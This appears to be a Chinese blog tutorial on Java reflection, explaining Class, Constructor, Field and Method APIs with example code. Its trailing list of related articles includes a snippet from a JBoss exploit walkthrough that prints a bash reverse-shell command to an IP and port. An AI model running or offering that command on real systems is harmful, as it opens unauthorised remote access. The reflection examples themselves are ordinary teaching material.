【反射知识点详解】

news2024/11/15 9:48:15

Java中的反射(Reflection)是一个非常强大的机制,它允许程序在运行时检查或修改类的行为。这种能力主要通过java.lang.reflect包中的类和接口来实现。

通过反射,Java程序可以动态地创建对象、调用方法、访问字段,以及获取类的各种信息(如构造器、方法、字段等)。

反射的用途

反射主要用于以下几种情况:

  1. 动态创建对象:通过类的Class对象动态地创建其实例。
  2. 访问类的字段和方法:即使字段和方法是私有的,也可以通过反射机制来访问和修改它们。
  3. 动态调用方法:可以在运行时决定调用哪个方法,而不需要在编写代码时就知道。
  4. 框架开发:很多Java框架(如Spring)都大量使用反射来简化配置和初始化过程。

反射学什么?

  • 学习获取类的信息、操作它们:这是反射学习的核心目标。你需要学会如何获取一个类的信息(如类名、方法、字段等),并能够在运行时操作这些信息。

反射第一步:加载类,获取类的字节码:Class对象

  • 加载类:Java的类加载器(ClassLoader)负责将类的.class文件加载到JVM中。
  • 获取Class对象:一旦类被加载,就可以通过多种方式来获取其Class对象。例如,使用Class.forName(String className)obj.getClass()Type.class(其中Type是某个类名)。

以下是获取Class对象的三种主要方式:

1. 使用.class语法

对于已知的类,你可以直接使用.class语法来获取其Class对象。这种方式在编译时就已经确定了要操作的类,因此不需要处理ClassNotFoundException

2. 使用Class.forName(String className)方法

这是最常用的动态加载类的方式。Class.forName(String className)方法会加载指定的类,并返回该类的Class对象。如果指定的类不存在于类路径中,或者因为其他原因无法被加载,那么会抛出ClassNotFoundException异常。

3. 使用对象的getClass()方法

如果你已经有了类的实例,那么可以通过调用该实例的getClass()方法来获取其Class对象。这个方法返回的是该对象的实际运行时类的Class对象,这允许你在运行时发现对象的实际类型(包括继承体系中的具体类型)。

代码演示3种方式

测试类

package demo14;

public class Test {
    public static void main(String[] args) throws Exception {
        //通过.class获取
        Class c1=Student.class;
        //getName()方法返回类的全限定名,即demo14.Student
        System.out.println(c1.getName());
        //getSimpleName()方法返回类的简单名称,即Student
        System.out.println(c1.getSimpleName());

        //通过Class.forName()获取
        Class c2=Class.forName("demo14.Student");
        System.out.println(c1==c2);

        //创建了一个Student类的实例并通过该实例的getClass()方法获取Class对象
        Student student=new Student();
        Class c3=student.getClass();
        System.out.println(c3==c2);
        //这比较获取的Class对象是否相同。由于Java虚拟机为每个类管理一个唯一的Class对象
        // 所以这3个对象是相同的,输出结果为true
    }
}

Student类 

package demo14;

public class Student {
}

获取类构造器:Constructor对象

Java中Class提供了从类中获取构造器的方法

方法名称描述返回值类型
getConstructor(Class<?>... parameterTypes)获取具有指定参数类型的公共构造器Constructor<T>
getDeclaredConstructor(Class<?>... parameterTypes)获取具有指定参数类型的构造器(包括私有构造器)Constructor<T>
getConstructors()获取类的所有公共构造器Constructor<?>[]
getDeclaredConstructors()获取类的所有构造器(包括私有构造器)Constructor<?>[]

部分方法演示 

 

获取类的成员变量:Field对象

方法声明说明
void set(Object obj, Object value)为对象obj的某个属性赋值为value
Object get(Object obj)从对象obj中获取某个属性的值,并返回该值
public void setAccessible(boolean flag)设置为true时,表示允许通过反射访问私有成员,绕过Java的访问控制检查

代码 

假设我们有一个Cat类,它有两个私有成员变量nameage,以及一个无参构造器和一个有参构造器。我们的目标是使用Java反射来获取这些成员变量的信息,并打印它们的名称和类型。

Cat类定义

package com.itheima.d2_reflect;  
  
public class Cat {  
    private String name;  
    private int age;  
  
    public Cat() {  
        System.out.println("无参数构造器执行");  
    }  
  
    public Cat(String name, int age) {  
        this.name = name;  
        this.age = age;  
        System.out.println("有参数构造器执行");  
    }  
  
}

反射获取成员变量

接下来是使用反射API获取Cat类成员变量的代码示例:

package com.itheima.d2_reflect;  
  
import java.lang.reflect.Field;  
  
public class Test3Field {  
    public static void testGetFields() throws NoSuchFieldException, IllegalAccessException {  
        // 获取Cat类的Class对象  
        Class<?> c = Cat.class;  
  
        // 获取类的全部成员变量  
        Field[] fields = c.getDeclaredFields();  
  
        // 遍历成员变量数组  
        for (Field field : fields) {  
            // 打印成员变量的名称和类型  
            System.out.println(field.getName() + " ---> " + field.getType());  
        }  
  
        // 定位某个特定的成员变量(例如name)  
        Field fName = c.getDeclaredField("name");  
        // 打印该成员变量的名称和类型  
        System.out.println(fName.getName() + "--->" + fName.getType());  
  
        // 注意:直接访问私有成员变量会抛出IllegalAccessException,因此需要设置可访问性  
        fName.setAccessible(true);  
  
        // 创建一个Cat对象  
        Cat cat = new Cat();  
  
        // 通过反射给私有成员变量赋值  
        fName.set(cat, "卡菲猫");  
  
        // 注意:由于我们没有直接获取或修改age字段,这里不展示其操作  
  
        // 打印修改后的cat对象(这里假设有合适的toString方法)  
        System.out.println(cat); // 需要Cat类有适当的toString()实现  
    }  
  
    // 主方法,用于测试  
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {  
        testGetFields();  
    }  
}

获取类的成员方法:Method对象

  • Method对象:表示类的方法。通过Class对象的getMethod(String name, Class<?>... parameterTypes)getDeclaredMethod(String name, Class<?>... parameterTypes)方法,可以获取到方法的Method对象。
  • 使用:获取到Method对象后,可以调用其invoke(Object obj, Object... args)方法来执行对象的方法。同样,如果方法是私有的,可能需要先调用Method.setAccessible(true)
类别方法名签名说明
Class提供的成员方法getMethods()Method[] getMethods()获取类的全部public成员方法(按名称排序)
Class提供的成员方法getDeclaredMethods()Method[] getDeclaredMethods()获取类的全部成员方法(不考虑访问修饰符)
Class提供的成员方法getMethod(String name, Class<?>... parameterTypes)Method getMethod(String name, Class<?>... parameterTypes)获取类的某个public成员方法,需指定方法名和参数类型
Class提供的成员方法getDeclaredMethod(String name, Class<?>... parameterTypes)Method getDeclaredMethod(String name, Class<?>... parameterTypes)获取类的某个成员方法,需指定方法名和参数类型,不考虑访问修饰符
Method提供的成员方法setAccessible(boolean flag)void setAccessible(boolean flag)设置方法的访问权限。如果flag为true,则忽略Java的访问控制检查(暴力反射)
Method提供的成员方法invoke(Object obj, Object... args)Object invoke(Object obj, Object... args) throws IllegalAccessException, InvocationTargetException触发某个对象的该方法执行,需传入对象实例和参数

代码示例

以下是一个完整的Java代码示例,展示了如何使用上述方法:

import java.lang.reflect.InvocationTargetException;  
import java.lang.reflect.Method;  
  
public class ReflectionDemo {  
  
    public static void main(String[] args) {  
        try {  
            // 假设有一个类Person  
            Class<?> personClass = Class.forName("Person");  
  
            // 获取所有public方法  
            Method[] publicMethods = personClass.getMethods();  
            System.out.println("Public Methods:");  
            for (Method method : publicMethods) {  
                System.out.println(method.getName());  
            }  
  
            // 获取所有方法(包括private)  
            Method[] declaredMethods = personClass.getDeclaredMethods();  
            System.out.println("\nDeclared Methods:");  
            for (Method method : declaredMethods) {  
                System.out.println(method.getName());  
            }  
  
            // 获取特定方法(假设有一个public方法sayHello)  
            Method sayHelloMethod = personClass.getMethod("sayHello");  
            // 假设Person类有一个无参构造器  
            Object personInstance = personClass.newInstance();  
  
            // 调用sayHello方法  
            sayHelloMethod.invoke(personInstance);  
  
            // 获取特定方法(假设有一个private方法secretMethod)  
            Method secretMethod = personClass.getDeclaredMethod("secretMethod");  
  
            // 设置访问权限为true(暴力反射)  
            secretMethod.setAccessible(true);  
  
            // 调用secretMethod方法  
            secretMethod.invoke(personInstance);  
  
        } catch (ClassNotFoundException e) {  
            e.printStackTrace();  
        } catch (InstantiationException e) {  
            e.printStackTrace();  
        } catch (IllegalAccessException e) {  
            e.printStackTrace();  
        } catch (NoSuchMethodException e) {  
            e.printStackTrace();  
        } catch (InvocationTargetException e) {  
            e.printStackTrace();  
        }  
    }  
  
    // 假设的Person类  
    static class Person {  
        public void sayHello() {  
            System.out.println("Hello!");  
        }  
  
        private void secretMethod() {  
            System.out.println("This is a secret method.");  
        }  
    }  
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2115577.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

JS_分支结构

if结构 这里的if结构几乎和JAVA中的一样,需要注意的是 if()中的非空字符串会被认为是trueif()中的非零数字会被认为是trueif()中的非空对象会被认为是true <script> if(false){// 非空字符串 if判断为true console.log(true) }else{ console.log(false) } if(){// 长度…

统计进程的CPU和内存占用(最大,均值,90分位)

本文先通过top采集所有进程的CPU和内存情况并保存到文件&#xff0c;然后提取指定进程的数据&#xff0c;最后通过 python 对采集的数据进行可视化。 一、使用脚本采集top数据 1. 单次top输出如下 2. 编写脚本每隔1秒采集一次top数据保存到文件 #!/bin/bash# 按照年月日十分…

非线性建模问题的线性化思考

很长时间没有提笔写博&#xff0c;近两年来一直从事规划领域方面的研究&#xff0c;在熟悉业务的同时&#xff0c;对规划算法也有了新的看法。相比智能算法的概率性&#xff0c;规划算法对求解的精确性要求更高。 本篇博客将围绕非线性问题如何线性化典型问题&#xff0c;分类归…

协同过滤算法相关答辩问题、代码实现过程

我 | 在这里 ⭐ 全栈开发攻城狮、全网10W粉丝、2022博客之星后端领域Top1、专家博主。 &#x1f393;擅长 指导毕设 | 论文指导 | 系统开发 | 毕业答辩 | 系统讲解等。已指导60位同学顺利毕业 ✈️个人公众号&#xff1a;热爱技术的小郑。回复 Java全套视频教程 或 前端全套视频…

大学新生的学习秘诀:如何学习编程?(文末赠书)

1.为什么要学习编程 大学生学习编程不仅关乎个人技能的提升&#xff0c;还涉及到未来的职业发展、创新能力培养以及适应快速变化的社会需求。 (1)增强就业竞争力 当今数字化时代&#xff0c;编程技能已成为许多行业的必备技能。掌握编程能够让你在求职市场上脱颖而出&#x…

Vulhub Apache Airflow (CVE-2020-11978)

来到目录下初始化数据库 然后开启环境 查看端口访问 访问http://your-ip:8080进入airflow管理端&#xff0c;将example_trigger_target_dag前面的Off改为On&#xff1a; 再点击执行按钮&#xff0c;在Configuration JSON中输入&#xff1a;{"message":"\";…

SwiftUI 中如何花样玩转 SF Symbols 符号动画和过渡特效

概述 作为 Apple 开发中的全栈秃头老码农们&#xff0c;我们不但需要精通代码编写更需要有过硬的界面设计艺术功底。为了解决撸码与撸图严重脱节这一窘境&#xff0c;苹果从 iOS 13&#xff08;macOS 11&#xff09;开始引入了 SF Symbols 字符图形。 有了 SF Symbols&#xf…

【 html+css 绚丽Loading 】000043 太一玄元镜

前言&#xff1a;哈喽&#xff0c;大家好&#xff0c;今天给大家分享htmlcss 绚丽Loading&#xff01;并提供具体代码帮助大家深入理解&#xff0c;彻底掌握&#xff01;创作不易&#xff0c;如果能帮助到大家或者给大家一些灵感和启发&#xff0c;欢迎收藏关注哦 &#x1f495…

ANSA联合ABAQS基于梁单元的螺栓预紧力分析实例

1、在螺栓孔之间创建一个模拟螺栓 ABAQUS界面→AUXILIARIES→bolt→分鳖选择上下两圈节点,这样在螺栓孔中间就会生成一个梁单元。 中键确定,因为螺杆使用的是变形体,所以接下来需要为其创建一个属性: 单击ok,完成虚拟螺栓的创建,该螺栓两端是刚性MPC,中间是弹性的梁单元…

Jboss远程代码执行漏洞(CVE-2017-12149)

还是先开启环境 浏览器访问跟上一个一模一样页面 还是用ysoserial.jar工具 然后准备好反弹shell的命令&#xff0c;需要对其进行base64加密 //反弹shell命令&#xff0c;注意替换为自己的 bash -i >& /dev/tcp/192.168.75.162/6666 0>&1 //base64加密 YmFzaCAt…

git:分支管理

目录 一、分支概念 二、创建分支 三、切换分支 四、合并分支 五、删除分支 六、合并冲突 七、分支管理策略 八、分支策略 九、bug分支 十、强制删除分支 一、分支概念 在版本回退里&#xff0c;每次提交&#xff0c;git都把它们串成一条时间线&#xff0c;这条时间线可以…

基于51单片机的倒计时定时器proteus仿真

地址&#xff1a; https://pan.baidu.com/s/1_Ig_S0KKrba9VAjovDW71g 提取码&#xff1a;1234 仿真图&#xff1a; 芯片/模块的特点&#xff1a; AT89C52/AT89C51简介&#xff1a; AT89C52/AT89C51是一款经典的8位单片机&#xff0c;是意法半导体&#xff08;STMicroelectr…

【Hot100】LeetCode—215. 数组中的第K个最大元素

目录 1- 思路快速选择 2- 实现⭐215. 数组中的第K个最大元素——题解思路 3- ACM实现 原题连接&#xff1a;215. 数组中的第K个最大元素 1- 思路 快速选择 第 k 大的元素的数组下标&#xff1a; int target nums.length - k 1- 根据 partition 分割的区间来判断当前处理方式…

Spring表达式语言(SPEL)(05)

表达式模板 表达式模板允许将文字文本与一个或多个评估块混合。每个评估块都由前缀和后缀字符分隔&#xff0c;默认是#{}。支持实现接口ParserContext自定义前后缀。调用parseExpression()时指定 ParserContext参数如&#xff1a;new TemplateParserContext()&#xff0c;#{}包…

还不会剪音乐?试试这四款在线音频剪辑

音频剪辑很多人都没有接触过。其实这并不是一个难事&#xff0c;我们甚至可以用一些简单的工具来给自己做个简单的BGM&#xff0c;最近我尝试了几款不同的音频剪辑工具。今天就来跟大家分享一下我的使用体验&#xff0c;看看哪款工具更适合你的需求。 一、福昕音频剪辑 网址&…

通信工程学习:什么是FDM频分复用、TDM时分复用、WDM波分复用、CDM码分复用

FDM频分复用、TDM时分复用、WDM波分复用、CDM码分复用 FDM频分复用、TDM时分复用、WDM波分复用、CDM码分复用是通信领域中常见的四种复用技术&#xff0c;它们各自具有不同的特点和应用场景。以下是对这四种复用技术的详细解释&#xff1a; 一、FDM频分复用&#xff08;Frequ…

AIGC6: 走进腾讯数字盛会

图中是一个程序员&#xff0c;去参加一个技术盛会。AI大潮下&#xff0c;五颜六色&#xff0c;各种不确定。 背景 AI对各行各业的冲击越来越大&#xff0c;身处职场的我也能清晰的感受到。 我所在的行业为全球客服外包行业。 业务模式为&#xff1a; 为国际跨境公司提供不同…

强推!创新直发核心!时序分解+优化组合+模型对比!VMD-SSA-Transformer-BiLSTM多变量时间序列预测

强推&#xff01;创新直发核心&#xff01;时序分解优化组合模型对比&#xff01;VMD-SSA-Transformer-BiLSTM多变量时间序列预测 目录 强推&#xff01;创新直发核心&#xff01;时序分解优化组合模型对比&#xff01;VMD-SSA-Transformer-BiLSTM多变量时间序列预测效果一览基…

kubernetes集群部署Zabbix监控平台

一、zabbix介绍 1.zabbix简介 Zabbix是一个基于Web界面的分布式系统监控的企业级开源软件。可以监视各种系统与设备的参数&#xff0c;保障服务器及设备的安全运营。 2.zabbix特点 &#xff08;1&#xff09;安装与配置简单。 &#xff08;2&#xff09;可视化web管理界面。 &a…

【超简单】1分钟解决ppt全文字体一键设置

省流 ppt的全部字体需要在“幻灯片母版”里面&#xff0c;“自定义字体”去设置好标题与正文的字体之后才算全部设置完毕 “视图”---“幻灯片母版” 找到“字体”---“自定义字体” 设置好中文和西文的字体&#xff0c;都可以按照自己的选择来&#xff0c;保存即可 吐槽 之…